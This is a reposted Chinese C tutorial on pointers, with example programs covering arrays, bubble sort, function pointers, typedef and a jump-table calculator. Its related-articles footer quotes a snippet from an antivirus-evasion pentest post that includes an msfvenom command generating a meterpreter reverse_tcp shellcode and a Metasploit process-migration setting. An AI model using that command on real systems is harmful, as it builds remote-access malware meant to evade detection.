深入理解指针

news2024/11/16 11:46:15

前言:对于指针我们已经有了初步的了解,并已能够简单使用。今天我们来深入理解指针。让我们的指针功力更上一层楼。

1 使用指针访问数组

有了指针的知识,再结合数组的特点,我们就可以使用指针来访问数组了。

#include<stdio.h>
int main()
{
	int arr[10] = { 0 };
	int sz = sizeof(arr) / sizeof(arr[0]);
	int* p = arr;
	int i = 0;
	for (i = 0; i < sz; i++)
	{
		//这几种方式都是可以的
		//scanf("%d", &arr[i]);
		//scanf("%d",(arr+i));
		scanf("%d",(p+i));
	}
	for (i = 0; i < sz; i++)
	{
		//任选一种方式
		//printf("%d ", arr[i]);
		printf("%d ",p[i]);
		//printf("%d ", *(arr + i));
		//printf("%d ", *(p + i));
	}
	return 0;
}

数组名是数组首元素的地址将数组名arr赋值给指针变量p,那么数组名arr和p在这里是等价的。我们可以使用arr[i]来访问数组元素,那么也可以使用p[i]来访问数组元素

数组元素的访问在编译器处理的时候,也是转换成数组首元素的地址+偏移量求出元素的地址,然后解引用访问的

2 一维数组传参的本质

数组是可以传递给函数的,这一次我们来讨论一下数组传参的本质。之前我们都是在函数外部计算数组元素个数,那我们把数组传递给函数后,能否在函数内部求得数组元素的个数呢?

#include<stdio.h>
//参数部分写成数组形式,本质上还是指针。也可以写成指针形式
int test(int arr[])
{
	int sz = sizeof(arr) / sizeof(arr[0]);
	return sz;
}
int main()
{
	int arr[10] = { 1,2,3,4,5,6,7,8,9,10 };
	int sz1 = sizeof(arr) / sizeof(arr[0]);
	int sz2 = test(arr);
	printf("sz1=%d\n", sz1);
	printf("sz2=%d\n",sz2);
	return 0;
}

在这里插入图片描述

可以看到,在函数内部并没有求得正确的结果。这是为什么呢?这就不得不搞清楚一维数组传参的本质了。

前面我们提到过数组名代表的是数组首元素的地址,那么在test函数里的形参理论上应该使用指针变量来接收地址。因此在函数内部里的sizeof(arr)求的是一个地址的大小(单位是字节),而不是数组的大小(单位是字节)。正是因为函数的形参部分本质上是指针,所以函数内部无法求出数组元素个数的。

3 冒泡排序

核心思想就是:两两相邻的元素进行比较

#include<stdio.h>
void bubble_sort(int arr[], int sz)
{
	int i = 0;
	//      趟数
	for (i = 0; i < sz - 1; i++)
	{
		int flag = 1;//假设这一趟是有序的
		int j = 0;
		//         一趟需要比较的次数
		for (j = 0; j < sz - 1 - i; j++)
		{
			if (arr[j] > arr[j + 1])
			{
				int tmp = arr[j];
				arr[j] = arr[j + 1];
				arr[j + 1] = tmp;
				flag = 0;//发生交换,说明无序
			}
		}
		//第一趟有序的话,后面就无需排序了
		if (flag)
		{
			break;
		}
	}
}
int main()
{
	int arr[10] = { 0 };
	int sz = sizeof(arr) / sizeof(arr[0]);
	int i = 0;
	//标准输入设备输入数据
	for (i = 0; i < sz; i++)
	{
		scanf("%d", &arr[i]);
	}
	//按升序进行排序
	bubble_sort(arr, sz);
	for (i = 0; i < sz; i++)
	{
		printf("%d ", arr[i]);
	}
	return 0;
}

在这里插入图片描述

4 二级指针

指针变量也是变量,是变量就有地址,那么指针变量的地址存放在哪里?答案是:二级指针

#include<stdio.h>
int main()
{
	int a = 10;
	int* pa = &a;
	int** ppa = &pa;//二级指针
	return 0;
}

在这里插入图片描述

指针pa里存放的是a的地址,指针ppa里存放的是pa的地址

5 指针数组

什么是指针数组呢?我们学习过整形数组,是存放整型的数组;字符数组,是存放字符的数组。那么,指针数组当然也是数组了。只是指针数组里存放的是指针(地址)

在这里插入图片描述

在这里插入图片描述

为了能够更加清楚的感受到什么是指针数组。我们来上实战。用指针数组来模拟实现二维数组。

#include<stdio.h>
int main()
{
	int arr1[] = { 1,2,3,4,5 };
	int arr2[] = { 2,3,4,5,6 };
	int arr3[] = { 3,4,5,6,7 };
	//整型指针数组
	//数组名是数组首元素的地址,类型是int*的,就可以存放到指针数组中
	int* parr[] = { arr1,arr2,arr3 };
	//指针数组中的元素个数
	int sz = sizeof(parr) / sizeof(parr[0]);
	int i = 0;
	for (i = 0; i < sz; i++)
	{
		int j = 0;
		for (j = 0; j < 5; j++)
		{
			printf("%d ", *((*(parr + i)) + j));
			// printf("%d ", *(parr[i] + j));
			// printf("%d ", parr[i][j]);
		}
		printf("\n");
	}
	return 0;
}

在这里插入图片描述

parr[i]访问的是parr数组中的元素,parr[i]找到的元素指向了整型的一维数组,parr[i][j]访问的是一维数组里的元素

6 字符指针变量

在指针的类型中有一种指针类型是字符指针char*

一般使用

#include<stdio.h>
int main()
{
	char c = 'w';
	//字符指针
	char* pc = &c;
	printf("%c\n", *pc);
	return 0;
}

还有一种使用方式

#include<stdio.h>
int main()
{
	//这里并不是把字符串放在字符指针里了,而是把字符串首字符的地址放在了pc里
	char* pc = "hello world";//常量字符串
	printf("%s\n", pc);
	return 0;
}

接下来让我们上实战,检验一下小伙伴的功力如何。

#include<stdio.h>
int main()
{
	char str1[] = "hello world.";
	char str2[] = "hello world.";
	const char* str3 = "hello world";
	const char* str4 = "hello world";
	if (str1 == str2)
	{
		printf("str1 and str2 are same\n");
	}
	else
	{
		printf("str1 and str2 are not same\n");
	}
	if (str3 == str4)
	{
		printf("str3 and str4 are same\n");
	}
	else
	{
		printf("str3 and str4 are not same\n");
	}
	return 0;
}

不妨猜猜结果如何?

在这里插入图片描述

结果是否和小伙伴们一致呢?现在就让我们一起来深入解析这道题吧。

在main函数中创建了两个字符数组str1和str2系统会为这两个数组分别申请一块内存空间,前面我们学习到数组名就是数组首元素的地址。也就是说str1与str2数组首元素的地址是不一样的。所以str1与str2不同。str1与str2两个数组的内容是一样的。

str3与str4都是字符指针,存储的是字符串首字符的地址。这里的str3与str4指向的是同一个常量字符串C/C++会把常量字符串存储到单独的一个内存区域,当几个指针指向同一个字符串的时候,它们会指向同一块内存。所以str3与str4相同。

7 数组指针变量

之前我们学习了指针数组,指针数组是数组,存储的是指针(地址)。那么数组指针又是什么呢?答案是:指针变量。存储的是数组的地址

int* parr[10];   //指针数组
//parr先和[]结合,说明parr是一个数组,10代表元素个数,int*是数组元素的类型
int (*p)[10]; //数组指针
//p先和*结合,说明p是一个指针变量,[10]说明p指向了一个大小为10的数组
//int说明数组元素的类型

这里要注意:[]的优先级是要高于*的,所以必须加上()来保证p先与*结合

数组指针变量初始化

#include<stdio.h>
int main()
{
	int arr[10] = { 1,2,3,4,5 };
	int(*p)[10] = &arr;
}

在这里插入图片描述

8 二维数组传参的本质

有了数组指针的理解,我们就可以进一步探讨二维数组传参的本质了。

二维数组可以看做是一维数组的数组。也就是说二维数组的每个元素是一个一维数组。那么二维数组的首元素就是第一行,是个一维数组根据数组名就是数组首元素地址的这个规则,也就是说二维数组的数组名表示的是第一行的地址,是一个一维数组的地址。所以二维数组传参的本质也是传递了地址,传递的是第一行这个一维数组的地址

#include<stdio.h>
//        数组指针就是用来接收数组的地址的
void test(int(*parr)[5], int r, int c)
{
	int i = 0;
	for (i = 0; i < r; i++)
	{
		int j = 0;
		for (j = 0; j < c; j++)
		{
			//printf("%d ", *(*(parr + i) + j));
			printf("%d ", parr[i][j]);
		}
		printf("\n");
	}
}
int main()
{
	int arr[3][5] = { 1,2,3,4,5,2,3,4,5,6,3,4,5,6,7 };
	//	数组名代表的是第一行的地址,也就是一个一维数组的地址
	test(arr, 3, 5);
	return 0;
}

9 函数指针变量

根据前面学习的整型指针,数组指针,进行类比,就不难得出函数指针是什么了。函数指针本质上是一个指针,指向的是一个函数,函数指针变量是专门用来存放函数的地址的

那我们要如何获取函数的地址呢?类比数组,就可以得到结论。&数组名取出的是数组的地址,那么&函数名自然也是函数的地址了。那可能就会有很多小伙伴有疑问了。数组名代表的是数组首元素的地址,函数名呢?其实函数名和&函数名是一样的,都代表的是函数的地址

#include<stdio.h>
void Add()
{
	return;
}
int main()
{
	printf(" Add :%p\n", Add);
	printf("&Add :%p\n", &Add);
	return 0;
}

在这里插入图片描述

可以看到,函数也是有地址的。那函数的地址又该存放在哪里呢?当然是函数指针变量里了。

上实战,计算一个字符串的长度。

#include<stdio.h>
int my_strlen(char* ch)
{
	if (*ch == '\0')
	{
		return 0;
	}
	else
	{
		return (1 + my_strlen(ch+1));
	}
}
int main()
{
	char ch[20] = "abcdefg";
	//函数指针,pch里存放的是函数my_strlen的地址
	int (*pch)(char* ch) =&my_strlen;
	int ret = pch(ch);
	printf("%d\n", ret);
	return 0;
}
int             (*pch)              (char* ch)
|					|					|
|					|					|
|					|					|
|				函数指针变量名       pch指向函数参数的类型及个数
pch指向函数的	 
返回类型		     

int (*)(char* ch)是pch函数指针变量的类型

10 typedef关键字

typedef关键字可以将复杂的类型简单化,是用来类型重命名的

比如:

typedef unsigned int uint;
#include<stdio.h>
int main()
{
	unsigned int a = 10;
	uint b = 6;
	return 0;
}

在这里插入图片描述

通过调试可以看到a和b的类型是一样的,都是unsigned int类型。这就是typedef的作用,它可以将复杂的类型简单化。

除此之外,它还有其他方面的好处。请看接下来的代码。

#include<stdio.h>
int main()
{
	int a = 2;
	int* p1, p2;
	p1 = &a;
	p2 = 10;
	return 0;
}

在这里插入图片描述

在main函数里创建了p1和p2两个变量,p1是int*类型,p1是一个指针变量,可以
用来存放变量a的地址。p2是int类型,是一个整型变量。

用typedef类型重命名,再来看看会有什么不同呢?

typedef int* pint;
#include<stdio.h>
int main()
{
	int n = 20;
	int m = 10;
	pint pn, pm;
	pn = &n;
	pm = &m;
	return 0;
}

在这里插入图片描述

int*类型用typedef重命名后,创建出的pn,pm都是int*类型的。这就是
typedef重命名后无形中带来的好处,不至于出现变量与变量之间类型的
混淆。

当然了,这些只是typedef的简单应用。还有更加惊奇的事情在后面呢。

#include<stdio.h>
int main()
{
	(   *      (void (*)())   0)    ();
	//这段代码什么意思呢?
	//void(*)()这是一个函数指针,那么将这样的一个函数指针放在()里是什么意思呢?
	//我们学习过类型的强制转换 ------- (类型)
	//那么应该很清楚了,这里的函数指针是一个类型,是一个函数指针类型,将整型数据0作为一个函数的地址
	//0地址处的这个函数是一个无参,返回类型是void类型的一个函数
	//*是去调用0地址处的这个函数,不需要进行传参
	return 0;
}

那么,能否使用typedef对函数指针类型进行重命名呢?当然是可以的了。

typedef void(*pfun_t)();
//新的类型名必须在*的右边

那么,上面的一段代码就可以这样去写。

typedef void(*pfun_t)();
#include<stdio.h>
int main()
{
	(   *      (void (*)())   0)    ();
	(*(pfun_t)0)();
	return 0;
}

再来看一段有难度的代码,巩固一下我们理解。

#include<stdio.h>
int main()
{
	void   (*   signal    (int, void(*)(int))   )   (int);
	//signal(int,(void(*)(int))里面的int,void(*)(int)都是类型,作为signal函数参数的类型
	//signal是一个函数,返回类型是void(*)(int)的一个函数指针类型
	return 0;
}

同样的,我们用typedef重命名简化上面的代码。

typedef void(*pfun_t)(int);
#include<stdio.h>
int main()
{
	void   (*   signal    (int, void(*)(int))   )   (int);
	pfun_t siganl(int, pfun_t);
	return 0;
}

11 函数指针数组

数组是一组相同元素类型的集合。像指针数组是每个元素类型是指针类型的数组函数指针数组本质上是每个元素类型是函数指针类型的数组,

那么函数指针数组该如何定义呢?

#include<stdio.h>
int main()
{
	int(*parr[5])(int, int);//函数指针数组
	//parr先和[]结合,说明parr是一个数组
	//5说明数组的大小
	//数组的类型是int(*)(int,int)
	return 0;
}

函数指针数组的用途:转移表

上实战,计算器的实现

#include<stdio.h>
#include<stdlib.h>
void menu()
{
	printf("****************************\n");
	printf("*****  1.add    2.sub  *****\n");
	printf("*****  3.mul    4.div  *****\n");
	printf("*****  5.mol    0.exit *****\n");
	printf("****************************\n");
}
int Add(int x, int y)
{
	return (x + y);
}
int Sub(int x, int y)
{
	return (x - y);
}
int Mul(int x, int y)
{
	return (x * y);
}
int Div(int x, int y)
{
	return (x / y);
}
int Mol(int x, int y)
{
	return (x % y);
}
int main()
{
	int input = 0;
	int x = 0;
	int y = 0;
	//函数指针数组
	int(*pfun[6])(int, int) = { 0,Add,Sub,Mul,Div,Mol };//转移表
	do
	{
		menu();
		printf("请输入选择:>>");
		scanf("%d", &input);
		if (input >= 1 && input <= 5)
		{
			printf("请输入两个操作数:>>");
			scanf("%d %d", &x, &y);
			int ret = pfun[input](x, y);
			printf("%d\n", ret);
		}
		else if (input == 0)
		{
			exit(0);
		}
		else
		{
			printf("输入错误,请重新输入\n");
		}
	} while (input);
	return 0;
}

结语:今天的指针内容到此为止。相信会有许多小伙伴们收获满满。看到这里就为小编点点赞吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2043140.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

线程的进阶学习

线程结束方式: 1.pthread_exit //pthread_join 2.从线程执行函数中return //此时效果等价于pthread_exit 3.pthread_cancel //线程可以被取消 4.任何一个线程调用了exit 或者 主线程 (main函数) return都会造成 进程结束 线程资源回收 ---pthread_join int pthread_ca…

汤姆·克鲁斯对妮可·基德曼经常对粉丝提起他们以前的事感到恼火

妮可基德曼最近回忆了她与前夫汤姆克鲁斯和导演斯坦利库布里克在 1999 年的电影《大开眼戒》中合作的时光。这似乎是对她职业生涯中某个时刻的无伤大雅的回顾&#xff0c;但据报道&#xff0c;有一个人对她在纪念该电影上映 25 周年时的谈话感到不满。 据报道&#xff0c;克鲁…

Polars简明基础教程十四:可视化(四)

数据帧交换协议 数据帧互换协议&#xff08;Dataframe Interchange Protocol&#xff09;&#xff0c;是为了提高不同数据帧库之间的互操作性而设计的。 想象一下&#xff0c;你有很多不同类型的储物箱&#xff08;在这里比喻为不同的数据帧库&#xff0c;如 Pandas、Polars、…

ArkTs基础语法-声明式UI-基本概念

声明式UI语法 基本概念声明式UI描述创建组件无参数有参数 配置属性配置事件 配置子组件 基本概念 装饰器&#xff1a;用于装饰类、结构、方法及变量&#xff0c;并赋予其特殊的含义。 例如&#xff1a; Entry 有该装饰器的自定义组件&#xff0c;可以在UIAbility中使用&#xf…

Transformer在单细胞组学中干了啥?

—https://doi.org/10.1038/s41592-024-02353-z 留意更多内容&#xff0c;欢迎关注微信公众号&#xff1a;组学之心 研究团队和单位 综述简介 细胞表型参考图谱的构建&#xff08;已有很多篇超百万级单细胞的多组学图谱&#xff09;&#xff0c;极大丰富了单细胞组学数据的数…

WEB渗透免杀篇-Python源码免杀

Base64编码Pyinstaller打包 MSF监听需设置自动迁移进程 set autorunscript migrate -n explorer.exe msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.0.108 LPORT12138 -f c -o /var/www/html/1.cShellcode粘贴在shellcodebase64c.py中 python…

Element UI导航菜单刷新就复原问题解决方法~

1、首先要知道为什么一刷新就复原了&#xff0c;是因为default-active属性设置的是默认值&#xff0c;是一个死值&#xff0c;一旦刷新就会复原&#xff0c;造成高亮不能保持&#xff0c;那么怎么解决呢&#xff1f; 2、很简单&#xff0c;无需像一些博主一样绑定path。思路&a…

本机电脑,代码仓库,服务器三者代码同步流程

本机电脑&#xff0c;代码仓库&#xff0c;服务器三者代码同步流程 本机电脑将代码push到代码仓库从代码仓库clone或者pull代码服务器&#xff08;非必要但习惯于&#xff09;本机电脑通过ssh远程连接服务器进行操作 关于密钥&#xff1a;&#xff08;通过ssh的密钥同步代码不…

Linux系统驱动(十八)SPI总线(未整理)

文章目录 一、SPI总线协议简介二、SPI子系统驱动&#xff08;二&#xff09;SPI子系统API&#xff08;三&#xff09;SPI设备树节点 三、代码示例 一、SPI总线协议简介 高速、同步、全双工、非差分、总线式 传输速度在几十M 差分总线和非差分总线 非差分总线&#xff1a;受压…

微信小程序开发了支付系统(必须要进行发货管理)

开发了一个小程序&#xff0c;然后必小程序支付后&#xff0c;一定要发货&#xff1f;线上购买线下取货如何发货&#xff1f; 这其实就是你服务类目选择错了&#xff0c;有的分类是必须要有发货管理的&#xff0c;但是有的就不需要&#xff0c;所以有些时候微信的规则还真的挺…

【vue】h 函数的使用

文章目录 1. 引言2. h 函数3. h 函数的使用3.1 v-if3.2 v-for3.3 v-on3.4 组件3.5 渲染插槽 4. h函数的使用场景参考链接 1. 引言 在绝大多数情况下&#xff0c;Vue 推荐使用模板语法来创建应用。然而在某些使用场景下&#xff0c;我们真的需要用到 JavaScript 完全的编程能力。…

C++ 面试题常用总结 详解(满足c++ 岗位必备,不定时更新)

&#x1f4da; 本文主要总结了一些常见的C面试题&#xff0c;主要涉及到语法基础、STL标准库、内存相关、类相关和其他辅助技能&#xff0c;掌握这些内容&#xff0c;基本上就满足C的岗位技能&#xff08;红色标记为重点内容&#xff09;&#xff0c;欢迎大家前来学习指正&…

01 网络编程-概念引入

目录 1、互联网与物联网 2、计算机网络分类 &#xff08;1&#xff09;按地理范围分类 &#xff08;2&#xff09;按网络拓扑分类 &#xff08;3&#xff09;按网络用途分类 3、套接字 4、网络的七层模型&#xff08;OSI--国际化标准&#xff09; 5、TCP/IP四层协议栈 …

qml ChartView实现动态数据曲线

文章目录 一、qml静态数据曲线二、qml ChartView实现动态数据曲线三、使用C++给曲线提供数据更多qml教程,请参考QML入门进阶教程专栏:https://mingshiqiang.blog.csdn.net/category_9951228_2.html 本篇博客介绍使用qml实现动态数据曲线,效果图如下: 本篇博客代码通过C+…

DolphinScheduler3.2.2在centos7上伪集群部署

DolphinScheduler 是一个分布式易扩展的可视化工作流任务调度系统。集成了很多数据处理常用的功能&#xff0c;包括定时任务&#xff0c;脚本执行&#xff0c;错误预警等。 它具有以下一些主要特点和优势&#xff1a; 分布式架构&#xff1a;支持大规模任务的调度和管理&#…

centos7卸载docker报错No Packages marked for removal

执行&#xff1a; yum -y remove docker* 报错&#xff1a; No Packages marked for removal 执行&#xff1a; yum list installed | grep docker yum remove -y docker-ce.x86_64 docker-ce-cli.x86_64 containerd.io.x86_64

进程的退出以及线程

接上节&#xff1a; 1.wait 本身是一个阻塞操作&#xff0c;谁调用它就会使调用者阻塞 2.父进程要获得子进程的退出状态 要两个进程配合操作&#xff1a; 子进程&#xff1a; exit(退出状态值&#xff09; 退出状态值 只有最低为有效&#xff0c;范围为[0-255] 父进程 wa…

<Qt> 系统 - 网络编程 | 音视频

目录 前言&#xff1a; 一、QUdpSocket &#xff08;一&#xff09;核心 API 概览 &#xff08;二&#xff09;设计一个UDP回显服务器 二、QTCPSocket &#xff08;一&#xff09;核心 API 概览 &#xff08;二&#xff09;设计一个TCP回显服务器 三、HTTP Client 四、…

javaer快速入门 goweb框架 gin

gin 入门 前置条件 安装环境 配置代理 # 配置 GOPROXY 环境变量&#xff0c;以下三选一# 1. 七牛 CDN go env -w GOPROXYhttps://goproxy.cn,direct# 2. 阿里云 go env -w GOPROXYhttps://mirrors.aliyun.com/goproxy/,direct# 3. 官方 go env -w GOPROXYhttps://goproxy.…

【自动驾驶】自定义消息格式的话题通信(C++版本)

目录 新建消息文件更改包xml文件中的依赖关系更改cmakelist文件中的配置执行时依赖改变cmakelist编译顺序发布者程序调用者程序新建launch文件程序测试 新建消息文件 在功能包目录下&#xff0c;新建msg文件夹&#xff0c;下面新建mymsg.msg文件&#xff0c;其内容为 string …